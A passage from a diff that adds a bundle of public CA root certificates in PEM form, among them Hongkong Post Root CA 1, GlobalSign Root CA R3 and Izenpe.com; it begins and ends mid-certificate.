+Mp6qqIWYNIE5ITuoOlIyPfZrN4YGWhWY3PARZv40ILcD9EEQfTmEeZZyY7aWAuVrua0ZTbvGRNs2
+yyqcjg==
+-----END CERTIFICATE-----
+
+Hongkong Post Root CA 1
+=======================
+-----BEGIN CERTIFICATE-----
+MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoT
+DUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMB4XDTAzMDUx
+NTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25n
+IFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEF
+AAOCAQ8AMIIBCgKCAQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1
+ApzQjVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEnPzlTCeqr
+auh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjhZY4bXSNmO7ilMlHIhqqh
+qZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9nnV0ttgCXjqQesBCNnLsak3c78QA3xMY
+V18meMjWCnl3v/evt3a5pQuEF10Q6m/hq5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNV
+HRMBAf8ECDAGAQH/AgEDMA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7i
+h9legYsCmEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI37pio
+l7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clBoiMBdDhViw+5Lmei
+IAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJsEhTkYY2sEJCehFC78JZvRZ+K88ps
+T/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpOfMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilT
+c4afU9hDDl3WY4JxHYB0yvbiAmvZWg==
+-----END CERTIFICATE-----
+
+SecureSign RootCA11
+===================
+-----BEGIN CERTIFICATE-----
+MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDErMCkGA1UEChMi
+SmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoGA1UEAxMTU2VjdXJlU2lnbiBS
+b290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSsw
+KQYDVQQKEyJKYXBhbiBDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1
+cmVTaWduIFJvb3RDQTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvL
+TJszi1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8h9uuywGO
+wvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOVMdrAG/LuYpmGYz+/3ZMq
+g6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rP
+O7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitA
+bpSACW22s293bzUIUPsCh8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZX
+t94wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAKCh
+OBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xmKbabfSVSSUOrTC4r
+bnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQX5Ucv+2rIrVls4W6ng+4reV6G4pQ
+Oh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWrQbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01
+y8hSyn+B/tlr0/cR7SXf+Of5pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061
+lgeLKBObjBmNQSdJQO7e5iNEOdyhIta6A/I=
+-----END CERTIFICATE-----
+
+ACEDICOM Root
+=============
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
+Verisign Class 3 Public Primary Certification Authority
+=======================================================
+-----BEGIN CERTIFICATE-----
+MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx
+FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5
+IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow
+XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz
+IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
+A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94
+f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol
+hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBABByUqkFFBky
+CEHwxWsKzH4PIRnN5GfcX6kb5sroc50i2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWX
+bj9T/UWZYB2oK0z5XqcJ2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/
+D/xwzoiQ
+-----END CERTIFICATE-----
+
+Microsec e-Szigno Root CA 2009
+==============================
+-----BEGIN CERTIFICATE-----
+MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER
+MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv
+c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
+dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE
+BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt
+U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw
+DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA
+fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG
+0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA
+pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm
+1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC
+AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf
+QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE
+FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o
+lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX
+I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
+tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02
+yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi
+LXpUq3DDfSJlgnCW
+-----END CERTIFICATE-----
+
+E-Guven Kok Elektronik Sertifika Hizmet Saglayicisi
+===================================================
+-----BEGIN CERTIFICATE-----
+MIIDtjCCAp6gAwIBAgIQRJmNPMADJ72cdpW56tustTANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG
+EwJUUjEoMCYGA1UEChMfRWxla3Ryb25payBCaWxnaSBHdXZlbmxpZ2kgQS5TLjE8MDoGA1UEAxMz
+ZS1HdXZlbiBLb2sgRWxla3Ryb25payBTZXJ0aWZpa2EgSGl6bWV0IFNhZ2xheWljaXNpMB4XDTA3
+MDEwNDExMzI0OFoXDTE3MDEwNDExMzI0OFowdTELMAkGA1UEBhMCVFIxKDAmBgNVBAoTH0VsZWt0
+cm9uaWsgQmlsZ2kgR3V2ZW5saWdpIEEuUy4xPDA6BgNVBAMTM2UtR3V2ZW4gS29rIEVsZWt0cm9u
+aWsgU2VydGlmaWthIEhpem1ldCBTYWdsYXlpY2lzaTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
+AQoCggEBAMMSIJ6wXgBljU5Gu4Bc6SwGl9XzcslwuedLZYDBS75+PNdUMZTe1RK6UxYC6lhj71vY
+8+0qGqpxSKPcEC1fX+tcS5yWCEIlKBHMilpiAVDV6wlTL/jDj/6z/P2douNffb7tC+Bg62nsM+3Y
+jfsSSYMAyYuXjDtzKjKzEve5TfL0TW3H5tYmNwjy2f1rXKPlSFxYvEK+A1qBuhw1DADT9SN+cTAI
+JjjcJRFHLfO6IxClv7wC90Nex/6wN1CZew+TzuZDLMN+DfIcQ2Zgy2ExR4ejT669VmxMvLz4Bcpk
+9Ok0oSy1c+HCPujIyTQlCFzz7abHlJ+tiEMl1+E5YP6sOVkCAwEAAaNCMEAwDgYDVR0PAQH/BAQD
+AgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFJ/uRLOU1fqRTy7ZVZoEVtstxNulMA0GCSqG
+SIb3DQEBBQUAA4IBAQB/X7lTW2M9dTLn+sR0GstG30ZpHFLPqk/CaOv/gKlR6D1id4k9CnU58W5d
+F4dvaAXBlGzZXd/aslnLpRCKysw5zZ/rTt5S/wzw9JKp8mxTq5vSR6AfdPebmvEvFZ96ZDAYBzwq
+D2fK/A+JYZ1lpTzlvBNbCNvj/+27BrtqBrF6T2XGgv0enIu1De5Iu7i9qgi0+6N8y5/NkHZchpZ4
+Vwpm+Vganf2XKWDeEaaQHBkc7gGWIjQ0LpH5t8Qn0Xvmv/uARFoW5evg1Ao4vOSR49XrXMGs3xtq
+fJ7lddK2l4fbzIcrQzqECK+rPNv3PGYxhrCdU3nt+CPeQuMtgvEP5fqX
+-----END CERTIFICATE-----
+
+GlobalSign Root CA - R3
+=======================
+-----BEGIN CERTIFICATE-----
+MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv
+YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh
+bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT
+aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln
+bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt
+iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ
+0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3
+rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl
+OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2
+xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
+FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7
+lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8
+EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E
+bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18
+YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r
+kpeDMdmztcpHWD9f
+-----END CERTIFICATE-----
+
+Autoridad de Certificacion Firmaprofesional CIF A62634068
+=========================================================
+-----BEGIN CERTIFICATE-----
+MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UEBhMCRVMxQjBA
+BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2
+MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEyMzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIw
+QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB
+NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD
+Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P
+B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY
+7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH
+ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI
+plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX
+MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX
+LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK
+bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU
+vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1Ud
+EwEB/wQIMAYBAf8CAQEwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNH
+DhpkLzCBpgYDVR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp
+cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBvACAAZABlACAA
+bABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBlAGwAbwBuAGEAIAAwADgAMAAx
+ADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx
+51tkljYyGOylMnfX40S2wBEqgLk9am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qk
+R71kMrv2JYSiJ0L1ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaP
+T481PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS3a/DTg4f
+Jl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5kSeTy36LssUzAKh3ntLFl
+osS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF3dvd6qJ2gHN99ZwExEWN57kci57q13XR
+crHedUTnQn3iV2t93Jm8PYMo6oCTjcVMZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoR
+saS8I8nkvof/uZS2+F0gStRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTD
+KCOM/iczQ0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQBjLMi
+6Et8Vcad+qMUu2WFbm5PEn4KPJ2V
+-----END CERTIFICATE-----
+
+Izenpe.com
+==========
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
+Chambers of Commerce Root - 2008
+================================
+-----BEGIN CERTIFICATE-----
+MIIHTzCCBTegAwIBAgIJAKPaQn6ksa7aMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYDVQQGEwJFVTFD
+MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv
+bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu
+QS4xKTAnBgNVBAMTIENoYW1iZXJzIG9mIENvbW1lcmNlIFJvb3QgLSAyMDA4MB4XDTA4MDgwMTEy
+Mjk1MFoXDTM4MDczMTEyMjk1MFowga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNl
+ZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQF
+EwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJl
+cnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC
+AQCvAMtwNyuAWko6bHiUfaN/Gh/2NdW928sNRHI+JrKQUrpjOyhYb6WzbZSm891kDFX29ufyIiKA
+XuFixrYp4YFs8r/lfTJqVKAyGVn+H4vXPWCGhSRv4xGzdz4gljUha7MI2XAuZPeEklPWDrCQiorj
+h40G072QDuKZoRuGDtqaCrsLYVAGUvGef3bsyw/QHg3PmTA9HMRFEFis1tPo1+XqxQEHd9ZR5gN/
+ikilTWh1uem8nk4ZcfUyS5xtYBkL+8ydddy/Js2Pk3g5eXNeJQ7KXOt3EgfLZEFHcpOrUMPrCXZk
+NNI5t3YRCQ12RcSprj1qr7V9ZS+UWBDsXHyvfuK2GNnQm05aSd+pZgvMPMZ4fKecHePOjlO+Bd5g
+D2vlGts/4+EhySnB8esHnFIbAURRPHsl18TlUlRdJQfKFiC4reRB7noI/plvg6aRArBsNlVq5331
+lubKgdaX8ZSD6e2wsWsSaR6s+12pxZjptFtYer49okQ6Y1nUCyXeG0+95QGezdIp1Z8XGQpvvwyQ
+0wlf2eOKNcx5Wk0ZN5K3xMGtr/R5JJqyAQuxr1yW84Ay+1w9mPGgP0revq+ULtlVmhduYJ1jbLhj
+ya6BXBg14JC7vjxPNyK5fuvPnnchpj04gftI2jE9K+OJ9dC1vX7gUMQSibMjmhAxhduub+84Mxh2
+EQIDAQABo4IBbDCCAWgwEgYDVR0TAQH/BAgwBgEB/wIBDDAdBgNVHQ4EFgQU+SSsD7K1+HnA+mCI
+G8TZTQKeFxkwgeMGA1UdIwSB2zCB2IAU+SSsD7K1+HnA+mCIG8TZTQKeFxmhgbSkgbEwga4xCzAJ
+BgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNlZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNh
+bWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENh
